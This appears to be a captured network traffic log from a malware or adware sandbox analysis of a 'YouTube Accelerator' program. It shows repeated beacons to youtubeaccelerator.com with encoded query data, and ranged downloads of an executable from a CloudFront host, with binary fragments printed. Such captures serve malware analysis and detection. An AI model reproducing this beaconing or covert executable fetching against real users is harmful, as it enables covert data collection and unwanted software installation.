GET /app/ping.ashx?e=QgW8pN5r26avTpvRFjYpwrnjMnh 4VIhoo6Du22yq2oyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiRDEmmTwM3HfmppKfyKdx0 YLeCUjG1M6fU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX3zVcyy3MRY3QYyRbCXvjzG4dFQ/NTua81jyiM/3By1Kajeua45kQ/7H/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGeIBkLE7/4yPY1HJKKgNFGbnp1XaZJ5KkSNugKwyxpdGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF638Q2bUIan6JCQp/ql BaU3X36Kc9MtkO2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5tCJ2GnHtzkHXfMyWTmYmuAfzApjLfBz7r7ZtsfxNpcZsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I PqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1JkwA4PeZyroPEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7697808

Age: 36339

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6FogC8t-nO7pUirqCzoQAu8wRuBVKH8FrhebhA1cuWxuD_BUyZS0xQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7.....................Vu.............. ....@.........................
..u.......v..............................!..5...D ..<[email protected]....
......Zu..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MQ2R8goChSK8QcmYHIuLT_PCWGj-3CQc1KX7W0hTsJIXdlI-a8StVA==
.K...r..... 6...Z..y..]...uy..S#...-.#.I......n.1..!1)...X..\L.U.&..*.
.........W..1.......r)...v0!Mv.....N...=......o.^......{"....{....B.y.
.p~...t...n.$.~P........$...N..L...D.o.J\]..7.)..R..I}.B4...:..(...g..
D.uP........Xi...HK.tSrr...~...J..*..E.q.E....o...=.......q..{%{`r....
........[.......7...i./.i..p<...|....%.....6.mx .........Q.......m.
[email protected]........|..=.....)`T)R
2.T1.-......k......Xy....Dlbs1.qM2....U.../...1Y.H.~.]bpd.....j....Gl.
(.].L.:.?H..P..0...N.j].;U.b..........k'. ..i.....QFK......R..V.QR~.X.
e......../...a...?A............j..;[email protected].%...wa\..L..{.|
[email protected]..}.>.b.SB.~.E.1P........R..e.-...7..Pj......(t....)..
.\.o.K....y*.=W[......0W...2_...L...5.......'Y....!dtnY.p.z....K......
$YU.....|?... ...J.h.u.C......NQ....F..bD .;.z...m...w.$Lm:.=%..e.O...
.....r..%.5Gl.f.|Z...f. ..[s...8j..fuh..f.u.jZp.#ONR....Z.z......E.$..
..KJ{...hf..?....,.g/q,...V.Xh.^u8z.9?.....B*.>..&~.=!9.XPe..HS..&R
.......>.N.....(jV.BW-5Q.e6.|s.M`.O7..|R...]....p...e.&..H2.^E...)&
gt;..P..W.....>.v9-S...U..o..>..E..A~[..2.I....& .N."....}P.D...
.4]...c.k.......aKx.>..Y../....U8.....Z...Z." .....\.V...8......m..
.( .)...m.d...].&..k...8A......".."...*HO..V.. ..\..........c?(.S..L..
..&....aih.........#^..O..H..e.lP.E.Cw....pB .50(.S..t.48.o.8..h.... .
.s.......|....0.<..R..Y..V..h.Zm.C.....2s.BM...^e..|xg.......wu.&.B
..y...x.......B..lX.a#{......)`.l.D.....E.?u....'...d..A....m....yo.m.
p..7.*..J.".f.x...[..8.[..s...=xzF.....1r.rmJ...eJLh........u.5...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5v6ACWNjoj7nfdw7J99MnpqgqTRQ3V9MtsWoiJ9RGzaBQjInK1SITw==
....S..%.$|5=7_Wg....t..J1.jR...Rw=..<&.....D.....][...)..}'.......
....O......"Y..pEi.EQ....|Tz.d....~....y.....'P....W.N$.dkt.x....Km..1
I.A9Z..$..}.S.?...m...}....\......&..X.sR......x.....$ K....).....>
4O.:....F.7z..X.x..j.......>H..u[..m..\.r.P,........=...p?J.H..w...
{.^e.u..37....K..`..|I.f.4...Wj.....g.Zi......M.\9.........B>.8,.\:
d{.1-.ox5....,........[...B........B{..,...=......1.....^A..I....MEO.:
.l..f..{...8?....kx...=#.ix.......X...q*.en...vPP.F.Q...........m..cD.
.......\1.Dfb.....:`.$Y...O.,#.1B..a.....Q.:....DtWM.fqW....".,.PA...y
..e....|.......t#..9...Q.A....5c;t.iU..t......k'b/.K(.vZ.#.]0..... .L.
;.........ulJ|*.|...4......-.E7...<y.B......S.2.f.yq.......R.-..ubZ
=..=...-]...'@.........}......{.U..X.....m.......K.B.L.....k......)R..
S.B.V...U.c.].W{.a<e.j{M..[.Q.)/..%..z.....6..p.j.O....z.%...3K.:..
W7..pV....8.....t.`........f.. ....*[email protected]!."........."...N
.$.A..t...u..V..}..P...<....S...5$.rD....&....y.....:.%.......I...U
IK/..........B.....tM.!...=.......q_..>..D>f..O.K..\....m.4t.=F.
.]v.#.b....O..)&../....L...cl....#[email protected] ....
)>.r....,....*w...c...:pz..c}.......y_.C...8..e..b.}>.T.....|,..
/.2...3..>.....M....".......Q.#.2.....]P.i..g......"g'[email protected].&..S.
I...0.5....xo..p z..t.t.{&....$HPO..$.. ....4.:.R.....HP..=.Ski..Co...
w.h?QGF....n..?g.1.1d~GQ.0.....k...o[ed..q..}P..d.........egV.\.ZU.f..
.;.....m.u....Ay".<`"M..&...c.tM..;p%...L>[email protected]/ye......Fw
.L..i...b.\.|.n..e,....u.../.....^/I*......5.F...ln.0Wu...O..X.U..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1250000-1499999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KSveBFHvMPtGdtrM265J2yXPVxSJCzBQF0td4AP2aMR8RxS8u-3npQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Date: Sun, 22 Feb 2015
 13:55:25 GMT..Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT..ETag: "14
2ae006ffa3a2ae4b952df36af65c8c"..Accept-Ranges: bytes..Server: AmazonS
3..Content-Range: bytes 1750000-1999999/7697808..Age: 36340..X-Cache: 
Hit from cloudfront..Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfr
ont.net (CloudFront)..X-Amz-Cf-Id: hVf50ExYqGkv-Y7BQRpp-t9xDOU_esRYcsg
[email protected].....:9.e8|......
..ovJR.S....^,....../..NM..YK..(2fIh.s.......B..3....K%.....S.....<
...G.J.o......9}[email protected]....>rO..:..O..^....6.Z.r...l..m.N...:.J.1]*.
.vF.v-j.{%.h...h....O....7../.........G\ .T.....m.V...BD...&U."q..j.~.
....f.#k..z.%[OsZB..^....d;.*.S.g..U....z.[_.4...a..x.=Q..5......9j...
l.7`Q;.1.....I...d|A....T..f..w...4..B..b....<"....R/v.}........\..
.|J....._./ ......T..."H.....5.Fz.... |-..'..J.lih.....A.cO..a........
...G.#..C..@`.W.t0e.b4..u.x.7...*<..J.C...~..d.^.9..._/....]...u...
6j.w<...9hJ..[E......`9.........}..p..q....w.1.......~.v..fz.r.S...
......mvT....l..|.,....?........".5..f-tJ.D........jv..C.. ,80Q4.`,&1.
.Q..R=.....U.......-..5P!2D.0..Z,.f0_W~....l6........ .....*..........
...........XO.^ [5....o......X...".B....4Px. .O....V.0.....*\.......6.
\vV1..9..,)W...a[f..".y.}@.....Lo..V..ZO....QZ..O..2.?..U.9.(..L.9..zU
.23.m...jL6m..*[email protected].._......w.R....cGSt.0p8..t...".PQ.:..
....d....[j. W....JM...UW.M'.....t..u...[2.O...4....?'R..{O..)...3<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3000000-3249999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: m2B-EatBMvPX0OZPfaJ6k39MTjPu4KKl0855uJUdgS6eDz1oILhIug==
._..h....j>....E8...gx*U.[.]{w.Q.X.hR7p.'......._.1I..Fce..&..K..Z.
...&~<..2&...m....... Y......L.^.&......=$...2A.v.d...L.h....MFg...
..._...z..a.1C..x.U..Z.s.j.|...0...@L.......~1...7m.`^...;.z...:*1P...
{i....g.z.....T.".d.4...NP.Z...........|.c.d..!...f..k..>p0...F..D.
<G..t.-...f.zk....pi{.4/KO....Cz....'.y..z.X........G.....]...z....
.3V],.m_[.z..&J".v...KWh...'e....`x...r5../......D...r....$..z3...`...
.&.e..'.....tB...Y..!.G...in.v.C..o2Y.0.C...E.......H{.WQ.............
^wY.8...4.e....z[`..m..ve.A..._s..k....1".{;H.zV*9_.t......Z;lZ.oM.q.#
..&{[email protected]......<......LA....@..'i...:...N....b..&l
t;.~..Rgo~.~.Z...Z.........L...J.'{.X.........X.Y.>.:j2....g.q...._
..g .N.....:..K..G..!.Q....Y.....Ag...Y.m..$`:.TW,12.0.f.y...Y.^b.~...
7...a`....<.gX......j..a,2......2IB....;..Yi.....#.8.DJ..881[... F1
.o....9.@6..=.'..0.=..nzd=...W9.wF8z..M.3.V.}._.`.7R...(.............a
YD.oi.....!.|.P....\.20R...&I...i......)x........$.4_F.......6s.K$....
...Pk..^..Se..'. .>....bK).-./.yq.............o.A. ].udKh.o;Q.3....
p.s.x/'.j-..S...z.s.X....i.h..$xic~!.a..S...=k...b.....JW.C3.&..}XpC. 
Ip6..X..p...F.}.......u.UD.d.\.s\g?.V?...~2.....%.......a..Lr.......&g
t;.I{.j..!dU.P..o.d.._.p......F..7jd....a..qH...Ff...M..gq..X%...t...x
......&..5...u<........0...K....C......>..)....!.....6.3v={.qm.F
^...P..d......%......W.....H.....q{p..9P^....,,.....*p..V....B.. ...X.
....0]Y...F.nV..CM(..g...6....~.o>.)..{.;.........t<.E........_.
..y.u~q.z..T.$....ma}#....y.....L.............\i..e.Oi.i..{. ..2.0<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5000000-5249999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jFipSROeM6sjdi9rHQwHBvowoec9_E7fH9sDWON9r2O1Nzky7ZxRGg==
.a....#...[...Y.`1.i..=}.C..!......0.......9v..>..Hb..a'.|.D.X..d..
...K..n.T..I........}.%...Ic.Z.!...V.._8O...U.'.z..s.e..w...T...Yih.a4
w.....M.L..C.....[..B.L......_.F%.h....&.~..^....BJHP.U....Wc....~qh.^
;.-r..vN\.|......."\.9..:]......s..#K.T..[.>.......WY..y.K......X..
..Nm..\../....z.......N....q...D..%.a...{./.%.`..Zv..\]...{.q%..Td....
B.3.<.._.gK3r.........A...yj.Y*y:...L..>...d..CD1.9r.j).....G...
......z.e...F-.w.e.<T.V..u.{J..............0.........2.~..t.......l
.....G...eQ....!8.*.r.osh...oz...q/...x....J.../?........K..K...4...-.
P{=..I..O).^.t4.}L......^..B..................{...s[..VX.........EAV..
.r...B....[Y....W^...~.A..~.[/....Q9....;........ .w.Sx.s..]Q.........
.\s.B.L......i.*[email protected]&......O...`ll...1.$.].qT...(.......D}3.%...
Tl.W"da...._.....C..ItQ.... ...-.'\...>...e......cY9...C..2i.,.>
Y..\t7-....A.{Y.c...).q...<A.\..}On....#...........N...-........y.S
.. <6.t5....^.q..[...`.. ...s.../..CN.b.q.eq.C.o.d..L.....i1.......
1.My......(s......E....a........h....nO......l........x..2 ..w...... .
.#.?.......O0,#.."....w.........2..<.....e.~.Vv"...vA.......z.&\.c7
...H./._M.B#..Z...........m.4>C'.!o-.}y\...mo!..O.U&.....7.r..aS.c.
..lA3^.a.E..Z;.:.2....A.rE.V%.'...z/.>..e.}.*.5...<G.....mO ...u
...).v{.M...`.,...L.A_a.7v..4_.H./.9w....X}..2.A.....,..jF=.. ..d..h..
...".......-..:.........dD.d.......El.Z..e.A..q..n..9........"%.......
'G.q.c.!D....V.H....U..xaxL..`.t....#.q.r.....Z..-......"..WL..Z....f.
.n,..Cl..27........_1@..?..D.1.O.T/)..(.......s...q..y ...nd....~.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6250000-6499999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JujAaFqvUHSn6k8nOCIKjmFML-zvddxomCspuRl4D0ANrdfNiXdIaA==
u.........~..a..?....."..J:..2.P..3.. ..Wz..<.,....w..{X..=G0Ik..%E
&.bu.EQ0o.)'..ck[..S.....V...........@|....[..W.....:....vE...uKSQX?6|
..pGg.>.M.91.*.JH..'{......'.H..RI.:@....x.....E.9^.0.......-SLW...
.....h%!L.<mz`d#?.C.d."^[email protected]...'..E..O..1s(
.$0z....:p.R...jm.m3..n.{:.....V.I..j....s. R.9g...=m%..-.uU..h`O0....
.6.k..y...k..Q}@[email protected].|......]6C.A>.,T.... .....X.'c...@8.).).
=e...`C.*D.f..$..\).32.g.2.".....}.....2.V.......V...<..g.M.O......
 ..CA..3....,...!..c.0..m..../V.?dk"...R.ew.G....|zG...g........!.R.d&
...5.v..I.._k..D..9.7.v...Ld*.......34....D....#..enTG...o=~.s..y.A7:.
.Y]N`...~l.....3.....g..:[email protected].
.l......bo...,.4...k...'aX.Ip..Ty].Y...a...g...~.bO.a...N.l....*...P..
.}......o....Qq. .\...P..^......R..)T....J............V.Q.[V...Sr.3.T.
>.........^(....".....o..pX..../,...!...........!K2.Y..'..x..0.K...
}....T....MUn`.....Sn\.Ge.....=........1....S!..$....n.8..t...R...Ir..
L.......B.w....p...0. .S.X..-....-v3Y..{K5h...o.7.X..`.K..4...".?.=8..
*...m...A..K..e...Z.:..\..V.bX@^.(....U..cs?..<..F..............-.u
0..b,..H.....-g.`.5..\D..U..3...4.]X.."/c.Py...7E..<.&..y.Y.M.....~
..........b..p.......h..L.o.!...m....ZxB.Nb..fD..?... ../\.%.3O..#. .X
.?..#r....>.Y..U..v.g..3-za..n..-..$r...qW.|............M.L.....S..
.W.u.....y... ..?a..Rw........R..qG.J....F.Yu.A.%.....`.c^....Cq6../a!
..mz2.......[*.88....,..E`|.....N(.3. ..9.w.[.....=i.......!V..s......
.N.;./...l.[.F........ .....JI...L...P......dv..yH^.....n/.`.#....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6750000-6999999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -9t809oRgve9aI_Rg8xwN7oXy5_wxEa5xmX3oqdSAHzekESPaFARzQ==
...T/t..?r,...M....S....JW:.....MV....*K.)......4...H&.&.).:2.$4.Gv._.
.."..au..u?...F..w).....s..2..2..x...<s.Y.,..b.8.....F..v........ w
Hv....9.EL;.!..Yf(.D........Q.s=~......z.HU.......k...u....Z........a&
lt;..m.e...1p.@([email protected]@.Ve..`G....|..ue........\<...o.......
...23A.PKR...c4..*[email protected]||z.`..7..EB...:.....F..
A..3.4.Ir....s..T...a.u. .B.~..T.;..PY..OF.....1.5r].....[rH]..X..3f..
`.(...A..`L.*..%h.........9...!l..Bt.oNz.....}5`9...9t..s.&A]...(.....
O..dm..Y......m ./.....`.a.!}..Z..........h.v..c\.fO.l_.K.MXFK...c3ij.
gq.o..(.C.*..bi.<b\2.a..*A....^....A'...#.c<.5[".u.}Xg)X..D8....
.h..."....>.o.K.r....4 ..!.!X.S..W..m..jG...........Q.Mm;.l 1ibz...
...4..t...}\....=IKd>.3..}1=.....$.'..v .]d.......3..g=Q...bW.....]
".....|.&....<....<.{..;.>..O.A- . ...4R..$B.`........^....8'
(. ...W..1.~.g*Y.......p.g..w.< H<..Z.U...1!..S...$.gTP.\....Ci{
k.n..5.]..aPbF..X.d,...t W.b[0....y.PE./......]D^S....K.......ZA..gW..
.....>.V'1..'.:.Z.Gz/3.A...[...s.!v...k.RM..t.mI.l....S.F....L.....
....L..Bk4..piR9........G.;....96..^c..zs.....@.. ..*.....v4.}z.....Fn
....T..D%.o....u ....e.{}....e.....C.....)*.."..@*....-........1.d[|..
xD.E..7......Y].2.\#J......a..[....L?..x..l?......\.ed.......`..;f!s..
l...."z)N`[email protected].'....o*/oc a.p;"....:%... 6=.v..:.3....`....h, 
..#.A.(.......}.I.....|.W.h......I/.y.`.......C..%>@0.Z......AJK...
..zL)...XS..?...W.!$..s.h}..]4.2j]i3.>"........5=.8(f..,[...6.V..8.
..ie..p..e9/~......h...I...f.2ia].... {..W.....%F..>)c ....o.T.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7500000-7697807

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 197808

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7500000-7697807/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8uO5n81Cw3k3FzUmBbDjjfYH_ezVXcI375Y25yR1CEV2B2u9x2GCIA==

GET /app/ping.ashx?e=rdr4ABua5zf4YOj/qSs/oDNf4tZyU5xviUSU3wY9EyZgKkdlz1lRoe viA2bCzBJ8S85LP28b9XoIGt9tn96dHw rBcui5QxHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7XFFqpjiZ60QXz7IwMGK89ATjem6YnzT/dGTkd6gyszRJIjNV6lR7KTeZP8VdKLt4wwdTpWPyf9YL2yY9rxcvBS7yF1X8DhBQkP05wl0iTi0jLobyCDEbrE8NqMDBJ5NxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjyT/ 96F yQI7D3/z4mwXKlGgYBPx2lRdwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCftId6Zcv3VsqwZwxAX4ff HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:24 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 00:02:24 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=hXeqmv1IpemgBgKVQb1/X7njMnh 4VIhFaSqTE96QyGz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0PeFeqdm9Ij6AEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5ccpWfyzMekSM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aAQoVNoD34vz2VZFceaRoNmrNmFLslsB7o9tHOTKYSkY72A4eum4h2PWYbK4Kjl7kNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfZyn0gsuckjyjmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bm6k8D8vgTIkrGdcJcNjDwI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 00:02:25 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=xY8ohDYpM h6gEVzoYeGJ5/TkbZ2czqAmDz3Um00FGjc 6Z9uWa7kH0QpZ Jj0 v3D2calArHLvSr4mOXafqVOowNKLwk dee2YPwOTHZ23ajkClo2qeSw0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo 3nuYt DhqAmsppGiwDSwS/vPsyNPKM2I7cNc4nWLoq37xzRSVA0HdwFMjymFb0gkZj2cSnzmAk8cPFMpLyP dsuM51q1orrP/bWfh6OWL1uHRUnrF1Wi2cK8TG /x4eATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cMbZ/Jem887RLeTTwvGFftFhMIS/MrvOIHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7ap5G48IVa2vuvAoz92eEdw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

